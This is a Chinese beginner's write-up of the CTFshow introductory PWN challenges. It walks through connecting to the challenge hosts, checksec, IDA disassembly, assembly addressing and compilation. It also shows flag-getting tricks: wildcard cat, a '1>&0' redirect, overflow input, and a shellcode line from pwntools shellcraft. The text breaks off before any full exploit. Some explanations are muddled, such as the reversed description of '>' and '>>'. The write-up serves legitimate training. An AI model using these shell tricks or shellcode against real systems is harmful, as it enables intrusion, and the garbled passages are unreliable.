Featured image of post CTFshow-入门PWN-writeup

CTFshow-入门PWN-writeup

二进制漏洞与利用,PWN入门_wrtieup,会员套餐360题

[TOC]

**前文:以下是我ctfshow的PWN做题记录,欢迎各位前来观看,小弟领教!**还有就是ctfshow-pwn是我入门PWN的第一套题,比较基础,看官方writeup可以知道比较简洁,但有些我看不懂,这是我自己做的过程中写的,都是发自内心理解它们的话,有些可能比较啰嗦,但也必须这样,因为站在新手角度来看必须要这种啰嗦方式去理解才能更深刻,有耐心的朋友可以一直看下去,当然也欢迎PWN大佬前来挑战我!!!😄

Test_your_nc

PWN_000

专用虚拟机镜像,全套在这里,提取码show;虚拟机镜像,用户名为ctfshow,密码是ctfshow。

看了课也啥都不会或者工具不会下看这–>CTF Wiki-PWN

解题过程

ssh连接(记得给虚拟机kali\Ubuntu或者主机设置打开SSH):

ssh ctfshow@pwn.challenge.ctf.show -pxxxx

一开始会让你输入yes/no的,直接yes,然后输入密码,等进程结束会有个交互shell

用命令ls打开看一下有啥文件,看到有个ctfshow_flag的文件,猜是个装flag的文件夹,直接用cat命令打开就好。注意斜杠/。

PWN_001

题目 PWN_001 :提供后门函数,连上即可得到flag

这里有用到“nc”连接,可以了解一下,方便后续做题。当然Kali自带nc连接的,你用Kali干PWN也行。

这题送分的,nc连接一下就爆flag了。

不过说实话我是真不知道PWN_001文件给来干嘛的,直接nc交互一下就出flag了,这题没搞懂ctfshow意图在哪。

checksec解析elf格式信息、二进制文件保护配置

不过我用了下刚学的指令checksec看了看ELF文件信息,发现是没开canary保护的,可以利用栈溢出漏洞…

可以看到是64位仅关闭Canary保护。

接着用64位IDA打开查看main函数(按F5进入反汇编):

怪不得直接爆flag出来呢。后门system函数直接运行了。

PWN_002

题目: PWN_002 给你一个shell,这次需要你自己去获得flag

到这里度过新手期了。

这里需要我们输入指令了,一般来说做题习惯看到这样直接ls秒的,不过像我这样入门级别的还得用IDA琢磨琢磨:

checksec分析

IDA-x64位main程序的反编译

可以看到是没canary保护的

看到这里有个疑问,为什么system有这么大威力?,这次system里边是一个/bin/sh的软链接,很类似我们的文件地址

system("/bin/sh"); 是漏洞利用中获取系统 shell 的核心操作,其工作原理涉及函数调用系统调用进程创建三个层次,本质是通过标准库函数 system 启动一个 /bin/sh 进程(即命令行解释器),让攻击者获得交互权限。

system 是 C 标准库(libc)中的函数,原型为:

1
int system(const char *command);

它的功能是执行参数 command 指向的字符串作为系统命令,相当于在终端中输入该命令并执行。

system()函数先fork一个子进程,在这个子进程中调用/bin/sh -c来执行command指定的命令。/bin/sh在系统中一般是个软链接,指向dash或者bash等常用的shell,-c选项是告诉shell从字符串command中读取要执行的命令(shell将扩展command中的任何特殊字符)。父进程则调用waitpid()函数来为变成僵尸的子进程收尸,获得其结束状态,然后将这个结束状态返回给system()函数的调用者。

system("/bin/sh") 的工作原理可简化为: 通过 system 函数创建子进程 → 子进程执行 /bin/sh 程序 → 启动交互式 shell 环境

这也是漏洞利用中最常用的获取权限的方式 —— 无论通过栈溢出、ROP 还是 ret2libc,最终目标都是让程序执行这条语句(或等效的系统调用)。

PWN_003

题目: PWN_003 哪一个函数才能读取flag?

通过前面的分析,我们可以很明显的看出来选项”6”为我们所需要的后门函数,其他的均不会得到我们所想要的flag,在system函数里面的命令都是在终端执行的,赋予system权限较大,在我所写的文章里,包括PWN入门知识讲解和操作系统都明确指出SYSTEM是与操作系统内核接触的,比Administrators的权限还要稍大。

直接选6秒了,但除这种送分的,其实还需要搞清运行的逻辑:

IDAx64位程序反编译

跟进一下menu函数里边:

回到main跟进一下这个“6”的函数,看看里头是不是真在执行system后门函数:

可以看到,确实是执行了。那么我们也就能得到我们需要的flag。

PWN_004

题目: PWN_004 或许需要先得到某个神秘字符

真够阴间的,啥也不给了,才第几道啊就上强度了。

checksec看看,然后IDA反编译看看:

64位二进制保护全开…

可以看到有几个似曾相识的函数:strcpy(复制函数把xx复制给s1,也可起到赋值的作用)、strcmp(比较函数,对比,判断作用)、execve();我曾说过汇编语言的cmp就有比较作用,这也算是类比吧,回想起来的,不过用AI搜一下也行。

来说下execve吧,上题讲过system函数,这个也应该知道的:

execve 是 Unix/Linux 系统中最核心的系统调用(system call) 之一,用于在当前进程中加载并执行一个新的程序,替换当前进程的代码、数据和堆栈,实现进程 “变身”。它是所有程序启动和替换的底层基础,包括 system 函数、shell 执行命令等最终都会依赖 execve 完成。

看到这段代码,大致意思是,让s1等于“CTFshowPWN”这段字符串,然后到if判断语句这进行比较:如果s1和s2相等(这里的!不是我们C语言中的“不”的意思啊),就执行execve函数,启动交互权限,从而得到flag。

至此:下一节就开始前置基础了,开始应用PWN-1PWN-2PWN-3所学的知识了。

前置基础

PWN_005

题目:运行此文件,将得到的字符串以ctfshow{xxxxx}提交。

如:运行文件后 输出的内容为 Hello_World

提交的flag值为:ctfshow{Hello_World}

注:计组原理题型后续的flag中地址字母大写

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

Welcome_to_CTFshow.asm文本打开后发现是汇编语言文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
section .data
    msg db "Welcome_to_CTFshow_PWN", 0

section .text
    global _start

_start:

; 立即寻址方式
    mov eax, 11         ; 将11赋值给eax
    add eax, 114504     ; eax加上114504
    sub eax, 1          ; eax减去1

; 寄存器寻址方式
    mov ebx, 0x36d      ; 将0x36d赋值给ebx
    mov edx, ebx        ; 将ebx的值赋值给edx

; 直接寻址方式
    mov ecx, msg      ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
    mov eax, 4          ; 系统调用号4代表输出字符串
    mov ebx, 1          ; 文件描述符1代表标准输出
    mov ecx, msg        ; 要输出的字符串的地址
    mov edx, 22         ; 要输出的字符串的长度
    int 0x80            ; 调用系统调用

; 退出程序
    mov eax, 1          ; 系统调用号1代表退出程序
    xor ebx, ebx        ; 返回值为0
    int 0x80            ; 调用系统调用

checksec一下这个PWN文件:

ohoh这个保护全关的!IDA的x32位

这个没main函数,那我们回看那段汇编语言asm,这段汇编语言更像是在帮助我们了解汇编语言的逻辑语法规则的,在PWN-1文章中就有讲过汇编语言,这里就直接跳过详解

这题开始就有点变样了,“Welcome_to_CTFshow.asm”这文件是一个存放汇编语言的文本文件,需要运行一下转换成像exe这样的可执行文件,在PWN-1讲过elf文件:

将汇编语言(.asm)文件转换为可执行文件,需要经过汇编(Assemble)链接(Link) 两个核心步骤.

在Kali/Linux上下载nasm编辑器:

1
sudo apt install nasm

然后下载ld链接器(通常自带):

1
sudo apt update && sudo apt install binutils

汇编转换:将 .asm 转换为目标文件(.obj 或 .o)

1
nasm -f elf Welcome_to_CTFshow.asm

汇编生成可执行文件:

1
ld -m elf_i386 -s -o Welcome_to_CTFshow1 Welcome_to_CTFshow.o

(Welcome_to_CTFshow1是可执行文件)

我的建议汇编转换和生成可执行文件的过程都在Kali/Linux/Ubuntu上,比较方便,windows下载比较麻烦。

生成这个可执行文件之后,直接运行就能得到输出结果了,按照题目要求,加个{}包皮去提交就好了。

PWN_006

题目:立即寻址方式结束后eax寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

按照PWN-005那样去转换生成这个可执行文件

汇编转换:将 .asm 转换为目标文件(.obj 或 .o)

1
nasm -f elf Welcome_to_CTFshow.asm

汇编生成可执行文件:

1
ld -m elf_i386 -s -o Welcome_to_CTFshow1 Welcome_to_CTFshow.o

(Welcome_to_CTFshow1是可执行文件)

Welcome_to_CTFshow_PWN???是flag,错了,题目是立即寻址方式结束后eax寄存器的值为?

那就是得把这个转换出的可执行文件放到IDA上,不过之前记得checksec一下看看是x32还是x64位哦…

1
2
3
4
; 立即寻址方式
    mov eax, 11        ; 将11赋值给eax
    add eax, 114504    ; eax加上114504
    sub eax, 1         ; eax减去1

那就加减法咯:11+114504-1=114514

ctfshow{114514}

PWN_007

题目:寄存器寻址方式结束后edx寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

按照上述方法去得出可执行文件,放入IDA:

1
2
3
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

所以ctfshow{0x36D}

PWN_008

题目:直接寻址方式结束后ecx寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx

当你编译后发现找不到地址[msg],然后我们倒回来找题目的Welcome_to_CTFshow文件,用IDA:

故flag:ctfshow{0x80490E8}

其实不用去进行编译的,在题目给的文件就能做,编译出来的其实就是题目给的文件。

PWN_009

题目:寄存器间接寻址方式结束后eax寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

不是80490E8哈别被误导了,这是虚拟地址

点击跟进:

dd 636C6557hdd 是汇编指令中的伪操作符,意为 “定义双字(define double word)”,表示在当前地址处存放一个 4 字节的数值。这里存放的数值是 636C6557h(十六进制)。

flag:ctfshow{0x636C6557}

PWN_010

题目:寄存器相对寻址方式结束后eax寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4
; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

然后我们跟进看一下地址:

也就是这里将msg的地址(0x80490E8)+ 4 处所执向的地址的值赋给eax

4是十进制的,地址是16进制的,记得转换一下:

hex(0x80490E8+4)–> 080490EC

对应地址得值是ome_to_CTFshow_PWN

故flag:ctfshow{ome_to_CTFshow_PWN}

PWN_011

题目:基址变址寻址方式结束后的eax寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4
; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

同样的,放到IDA上找这个基址变址寻址方式:

双击点dword去跟进到地址:

计算最终也是 [0x80490E8 + 2*2 ] = [0X80490EC]

其实也是和PWN_010一样:hex(0x80490E8+4)

就是说hex(0x80490E8 + 2*2 )=0X80490EC,对应的是“ome_to_CTFshow_PWN”。

flag:ctfshow{ome_to_CTFshow_PWN}

PWN_012

题目:相对基址变址寻址方式结束后eax寄存器的值为?

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4
5
; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

跟进offset dword_80490E8:

那就是:[8 + 0x80490E8 + 1*2 - 6] = [0x80490EC]

故flag:ctfshow{ome_to_CTFshow_PWN}

PWN_013

题目:如何使用GCC?编译运行后即可获得flag PWN_013.c

学过C语言都会安装配置编译器环境的,我这里使用的是visual-studio-code

这段代码是一个简单的 C 程序,它使用字符数组 flag 存储了一个加密的字符串,并通过 printf函数将其打印出来。

在这段代码中, flag 数组存储了一串整数值,这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符,就可以还原出原始的字符串。

运行该程序, printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零(NULL 字符), printf 函数会将其之前的字符依次打印,直到遇到 NULL 字符为止。根据给定的整数值数组,还原出的字符串为: ctfshow{hOw_t0_us3_GCC?} 。

PWN_014

题目:请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag。 PWN_014.c

这个文件有强度了,直接编译运行会说nothing is here,不给flag,先读一下这个C语言文件在干什么的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int main() {
    FILE *fp;                  // 文件指针,用于操作文件
    unsigned char buffer[BUFFER_SIZE];  // 缓冲区,存储从文件读取的二进制数据
    size_t n;                  // 记录每次实际读取的字节数
    fp = fopen("key", "rb");   // 以二进制只读方式打开名为 "key" 的文件

    // 检查文件是否成功打开
    if (fp == NULL) {
        perror("Nothing here!");  // 若打开失败,打印错误信息
        return -1;
    }

    // 输出缓冲区:大小为 BUFFER_SIZE*9 + 12(预留足够空间存储二进制字符串和分隔符)
    char output[BUFFER_SIZE * 9 + 12]; 
    int offset = 0;  // 记录 output 中当前已使用的位置(偏移量)

    // 先在 output 开头写入 "ctfshow{"
    offset += sprintf(output + offset, "ctfshow{");

    // 循环读取文件内容:每次最多读 BUFFER_SIZE 字节,直到文件结束
    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
        // 遍历本次读取的每个字节
        for (size_t i = 0; i < n; i++) {
            // 将当前字节拆分为 8 位二进制(从高位到低位)
            for (int j = 7; j >= 0; j--) {
                // (buffer[i] >> j) & 1:获取第 j 位(0 或 1),并写入 output
                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
            }
            // 除了最后一个字节,每个字节的二进制后加下划线 "_"
            if (i != n - 1) {
                offset += sprintf(output + offset, "_");
            }
        }
        // 若未到文件末尾,在本次缓冲区数据后加空格 " "(分隔不同批次的读取)
        if (!feof(fp)) {
            offset += sprintf(output + offset, " ");
        }
    }

    // 在 output 末尾写入 "}",完成格式包裹
    offset += sprintf(output + offset, "}");

    // 打印最终生成的字符串
    printf("%s\n", output);
    fclose(fp);  // 关闭文件
    return 0;
}

也就是说我们需要一个名为key的文件,让这个程序知道,然后他就能把flag字符串吐出来了。

1
$ echo "CTFshow"> key  #创建一个名为key得文件,向内输入“CTFshow”的字符串

答案是ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

题目要求在key里加CTFshow字符串,加其它是错的,输出结果不同。

PWN_015

题目:编译汇编代码到可执行文件,即可拿到flag。 flag.asm

汇编转换:将 .asm 转换为目标文件(.obj 或 .o)

1
nasm -f elf flag.asm

汇编生成可执行文件:

1
ld -m elf_i386 -s -o flag1 flag.o

(flag1是可执行文件)

比较简单,和PWN_005很类似,都是汇编语言编译运行之类的。

ctfshow{@ss3mb1y_1s_3@sy}

PWN_016

题目:使用gcc将其编译为可执行文件。 flag.s

1
gcc flag.s -o flag

可以使用 gcc 命令直接编译汇编语言源文件( .s 文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器。

故flag:ctfshow{daniuniuda}

PWN_017

题目:有些命令好像有点不一样?不要一直等,可能那样永远也等不到flag。

进程3

比较奇葩的是,这里选择3的话,一直在loading的,可能是不通的,我换到主机的nc也不行,那就是选2进程的

选了2后,程序开始发癫了….,一直循环搞得我Kali虚拟机卡死了,进到IDAx64去看:

这个case2的read函数只读取10字节以内的,也就是说ctfshow_flag(12byte)这串是超字节限制了。不过之前学了那个指令有通配符的cat ctf*(因为当你选择”ls ./“,打开全部文件后,发现只有一个ctfshow_flag时由ctf字眼的,那我们正好可以绕过超字节的限制了)

搜索打开由ctf这串字符的文件内容:

PWN_018

题目:仔细看看源码,或许有惊喜;假作真时真亦假,真作假时假亦真。 PWN_018

连接nc后一上来就问:

这我哪知道啊?去看IDAx64:

分别跟进一下real和fake:

fake

real

解读一下发现一个机制:当v4不等于9时就会执行real函数,这时real会执行echo 'flag is here'>/ctfshow_flag,这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。也就是说你第一次和靶机交互时没输入9,你以后都不得不到flag了,只能重开靶机…..比较CS吧…

echo 'flag is here'>>/ctfshow_flag这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 » 符号表示以追加的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会在文件的末尾添加 ‘flag is here’ 。

这两个命令都用于将 ‘flag is here’ 写入 /ctfshow_flag 文件中,不同之处在于写入方式的不同。第一个命令使用追加方式,在文件末尾添加内容;第二个命令使用覆盖方式,将文件内容替换为新内容。具体使用哪个命令取决于需求和文件操作的预期结果。也就是所假的其实是我们需要的真的,真的反而是假的在远程环境中,我们需要在第一次读到flag,否则后续得到的flag都已经被覆写再追加,真实的flag内容已经没了。

PWN_019

题目:关闭了输出流,一定是最安全的吗? PWN_019

在IDA上看到,是由read和system函数的,按道理我直接cat /ctf*应该就出flag了啊…

问题就出在这个fclose函数(确实没辙了,只能用AI解释一下了)作用是关闭文件输出流,标准输出被关闭了(无法显示)。

那还有输入流啊,可以用重定向:1>&0

这是 Linux 的 I/O 重定向语法:

  • 1 代表标准输出(stdout)(正常情况下,命令的输出会送到这里,显示在终端);
  • 0 代表标准输入(stdin)(正常情况下,用户输入从这里读取,通常指向终端);
  • 1>&0 表示:将标准输出重定向到标准输入所指向的位置

因为代码中标准输出被关闭了(无法显示),但标准输入(通常是终端)仍然可用,所以通过这个重定向,cat 命令的输出会被 “转移” 到标准输入对应的终端,从而让内容能显示出来。

简单说就是:正常显示内容的 “输出通道” 被关了,但接收输入的 “输入通道” 还能用。通过 1>&0 把原本该从 “输出通道” 显示的内容,转到 “输入通道” 对应的终端上,这样就能看到 flag 了。ctfshow{a390a91b-5203-46ae-812d-0396de95184f}

本质上是利用了 “输入通道和终端还连着” 这个漏洞,让内容 “借道” 显示出来~。

重定向

PWN_020

题目:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在,则无需写其对应地址

如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

PWN_020


checksec一下:

在这里只开了NX保护。

Hint提示:什么是RETRO保护

PWN-1的Linux安全防护机制这一章的学习中,我们有认识到RELRO这个保护。很显然no RELRO意味着.got和.got.plt表都可写。

用指令查表地址:

1
readelf -S PWN_020

耐心找一下就找到了,故flag:ctfshow{1_1_0x600f18_0x600f28}

PWN_021

题目:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在,则无需写其对应地址

如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

PWN_021


checksec一下:

partial Relro保护

要还不记得Relro保护机制原理的就回PWN-1去看吧…

这里是 GOT 表的前半部分(.got.plt)设置为只读,后半部分(.got)仍可写。

用readelf命令去爱看表地址就好了:

flag:ctfshow{0_1_0x600ff0_0x601000}

PWN_021

题目:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在,则无需写其对应地址

如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

PWN_021


道理一样checksec看relro的保护、readelf看表…..

.got、.got.plt表都不可写

这次就只有一个.got表了,那就是flag:ctfshow{0_0_0x600fc0}

PWN_023

题目:用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

1
ssh ctfshow@题目地址 -p题目端口号

不是nc连接 PWN_023

checksec一下

没有canary保护,这可以是个突破点:栈溢出漏洞。

看回IDA:

跟进ctfshow函数

可以知道,一开始dgets函数读取flag字符串到内存中

跟进signal函数:

这行代码会将内存中存储的 flag 字符串,输出到标准错误流(stderr)。因为程序启动时已经通过 fgets/ctfshow_flag 文件读取了 flag 内容到 flag 变量中,所以这里能直接打印出正确的 flag。

所以说我们让程序报错也就是让它栈溢出,覆盖后的地址还不能是有效地址,让它全部报错,也就是我们可以输入好多个a就行,几十个a的16进制地址是无效地址。

关于栈溢出这部分,请看PWN-2详细学习,PWN板块占比也是重要的。

逐渐开始上强度了,这时需要仔细看IDA的代码分析了,看看是什么工作原理。

flag:ctfshow{0f207f1f-71bb-4cdd-bdab-7bfb9acde27a}

PWN_024

题目:

你可以使用pwntoolsshellcraft模块来进行攻击

PWN_024

我来介绍一下shellcraft模块:它是 pwntools 库中的一个子模块,用于生成各种不同体系结构的 Shellcode(这里的不同体系是我们之前学过的操作系统基础的有关shell的那一章节)有zsh、bash等。Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。shellcraft 模块提供了一系列函数和方法,用于生成特定体系结构下的Shellcode。

生成的汇编代码可直接通过 asm() 函数转换为机器码(二进制),无需手动处理格式,例如:

1
shellcode = asm(shellcraft.i386.sh())  # 一步完成“汇编模板→机器码”转换,类似C语言的编译器功能,转换成机器语言。

IDA:可以看到这题似乎和ret2shellcode有关

看题目提示,进入新大陆了…用pwntools了。

这里有提示,可以看一下PWN-1-NX保护,有啥启发?

在IDA分析可知,ctfshow函数无法跟进源代码,只能看它的伪代码去分析了(比较长):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:080484C6 ; =============== S U B R O U T I N E =======================================
.text:080484C6
.text:080484C6 ; Attributes: bp-based frame
.text:080484C6
.text:080484C6 ; int __cdecl ctfshow(_DWORD)
.text:080484C6                 public ctfshow
.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf             = byte ptr -88h
.text:080484C6 var_4           = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6                 push    ebp
.text:080484C7                 mov     ebp, esp
.text:080484C9                 push    ebx
.text:080484CA                 sub     esp, 84h
.text:080484D0                 call    __x86_get_pc_thunk_bx
.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB                 sub     esp, 4
.text:080484DE                 push    100h            ; nbytes
.text:080484E3                 lea     eax, [ebp+buf]
.text:080484E9                 push    eax             ; buf
.text:080484EA                 push    0               ; fd
.text:080484EC                 call    _read
.text:080484F1                 add     esp, 10h
.text:080484F4                 sub     esp, 0Ch
.text:080484F7                 lea     eax, [ebp+buf]
.text:080484FD                 push    eax             ; s
.text:080484FE                 call    _puts
.text:08048503                 add     esp, 10h
.text:08048506                 lea     eax, [ebp+buf]
.text:0804850C                 call    eax
.text:0804850E                 nop
.text:0804850F                 mov     ebx, [ebp+var_4]
.text:08048512                 leave
.text:08048513                 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow         endp
.text:08048513
.text:08048514
.text:08048514 ; =============== S U B R O U T I N E =======================================

如果之前是打逆向或者强行入门PWN的话,最坐牢的我相信应该是用IDA吧,除了找明文字符串flag外,你学了汇编语言你也看不懂这是啥意思,感觉一小串源代码转换成汇编语言非常长、枯燥,其实UP主也深有体会,在系统性入门后,也初步知道IDA是怎么用的,这里我把下划线“===== S U B R O U T I N E =====”也复制进来了,按我理解这是函数分界,分隔线上方是前一个函数的结尾(通常以retn指令结束,代表函数返回)过了这条线,说明汇编语言在描述的就是另外一个函数了。也就是说这上下分界线是代表囊括着一个函数,例如这ctfshow函数。

另外我想说的是汇编语言这么长是有道理的,它更像是一种“啰嗦”,它能在每一段代码运行后不断向你汇报地址变化,这种 “啰嗦” 本质上是对计算机底层操作的直接映射,这种特性确实让它在跟踪程序运行细节、分析逻辑和排查问题时具有独特优势。

从这里开始就要用pwntools了,这里介绍一下:

from pwn import * 是在 Python 中使用 pwntools 库的常见导入方式 。pwntools 是一个功能强大的用于二进制漏洞利用(binary exploitation)的 Python 库,在 CTF(Capture The Flag,夺旗赛 )竞赛、安全研究以及漏洞分析等领域广泛应用,以下是其具体作用:

与目标程序交互

  • 本地进程交互pwntools 能轻松创建本地进程,模拟用户输入、获取程序输出。例如,p = process('./vulnerable_program') 可以启动本地的可执行文件 vulnerable_program,然后通过 p.sendline('input data') 向程序发送数据,用 p.recvuntil('prompt') 接收程序输出直到遇到特定字符串。
  • 远程服务器交互:在面对远程存在漏洞的服务时,pwntools 提供了便捷的方法。比如 r = remote('target.com', 8080) 可以连接到 target.com 服务器的 8080 端口,后续同样能发送和接收数据,方便对远程服务进行测试和漏洞利用。

二进制数据处理

  • 数据打包和解包:在二进制程序中,经常需要处理不同字节序(大端序、小端序)的数据。pwntools 提供了 packunpack 函数,比如 p32(0x12345678) 可以将整数 0x12345678 按照小端序打包成 4 字节的二进制数据;u32(data) 则可以将 4 字节的二进制数据按照小端序解包为整数。
  • 数据转换:它还支持各种数据格式之间的转换,如将字符串转换为字节串,或者进行十六进制与二进制数据之间的转换等。

辅助漏洞利用

  • 生成 Payload:对于缓冲区溢出等漏洞,需要精心构造 Payload(攻击载荷)。pwntools 提供了生成填充数据、构造 ROP(Return-Oriented Programming,返回导向编程 )链等功能。比如 cyclic(100) 可以生成一个 100 字节的循环模式字符串,用于确定缓冲区溢出的偏移量;通过 ROP 模块可以方便地构建 ROP 链来绕过一些安全机制,实现代码执行。
  • 符号解析:在分析二进制程序时,有时需要解析程序中的函数地址、变量地址等。pwntools 可以与 ELF(Executable and Linkable Format,可执行与可链接格式,常用于 Linux 系统中的可执行文件、共享库等 )文件交互,获取这些符号信息,例如 elf = ELF('./target_binary') 可以加载目标二进制文件,然后通过 elf.symbols['main'] 获取 main 函数的地址。

密码学相关辅助

在 CTF 中,有时会涉及密码学题目,pwntools 也提供了一些基础的密码学辅助功能,比如常见加密算法的简单实现、编码解码等。

多线程和异步支持

pwntools 一定程度上支持多线程和异步操作,这在同时与多个目标程序交互,或者需要在等待程序输出的同时执行其他任务时非常有用。

所以为啥要学Python,当然能用豆包DeepSeek之类的AI帮你写代码exp,但你得先了解Python再让它写才对的,有时会出错,你得有判断力。

这里推荐使用Pycharm、Visual Studio Code;或者你可以在Kali上用终端来运行,这样你在Kali用nc连接靶机时在同一系统运行交互比较方便,当然Pycharm、Visual Studio Code也有终端功能,只不过要配PWN环境稍微麻烦而已,看你习不习惯用Linux系统吧。

题目后续:

讲得比较啰嗦,这里开始分析这段汇编代码(重新粘贴了一遍,和上面一样):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:080484C6 ; =============== S U B R O U T I N E =======================================
.text:080484C6
.text:080484C6 ; Attributes: bp-based frame
.text:080484C6
.text:080484C6 ; int __cdecl ctfshow(_DWORD)
.text:080484C6                 public ctfshow
.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf             = byte ptr -88h
.text:080484C6 var_4           = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6                 push    ebp
.text:080484C7                 mov     ebp, esp
.text:080484C9                 push    ebx
.text:080484CA                 sub     esp, 84h
.text:080484D0                 call    __x86_get_pc_thunk_bx
.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB                 sub     esp, 4
.text:080484DE                 push    100h            ; nbytes
.text:080484E3                 lea     eax, [ebp+buf]
.text:080484E9                 push    eax             ; buf
.text:080484EA                 push    0               ; fd
.text:080484EC                 call    _read
.text:080484F1                 add     esp, 10h
.text:080484F4                 sub     esp, 0Ch
.text:080484F7                 lea     eax, [ebp+buf]
.text:080484FD                 push    eax             ; s
.text:080484FE                 call    _puts
.text:08048503                 add     esp, 10h
.text:08048506                 lea     eax, [ebp+buf]
.text:0804850C                 call    eax
.text:0804850E                 nop
.text:0804850F                 mov     ebx, [ebp+var_4]
.text:08048512                 leave
.text:08048513                 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow         endp
.text:08048513
.text:08048514
.text:08048514 ; =============== S U B R O U T I N E =======================================

这代码是在看不懂可以上AI嗦一下,让它帮你解析一下,毕竟刚入门……(这段代码是 IDA 反编译出的 32 位 x86 架构程序中ctfshow函数)

checksec一下:记住上面的参数,后面写exp要用…

可知,对这些保护有点遗忘的可以回去看PWN-1的Linux安全保护机制

保护项 状态 对利用的影响
Arch i386-32-Little 32 位 x86 架构,shellcode 需用 32 位版本(对应shellcraft.i386.sh()
Canary(栈溢出保护) No canary found 无栈溢出保护,缓冲区溢出后可直接覆盖栈上数据(无需绕过 canary)
NX(栈不可执行) NX disabled 栈段可执行,shellcode 直接放在栈上就能运行(无需 ROP 绕过 NX)
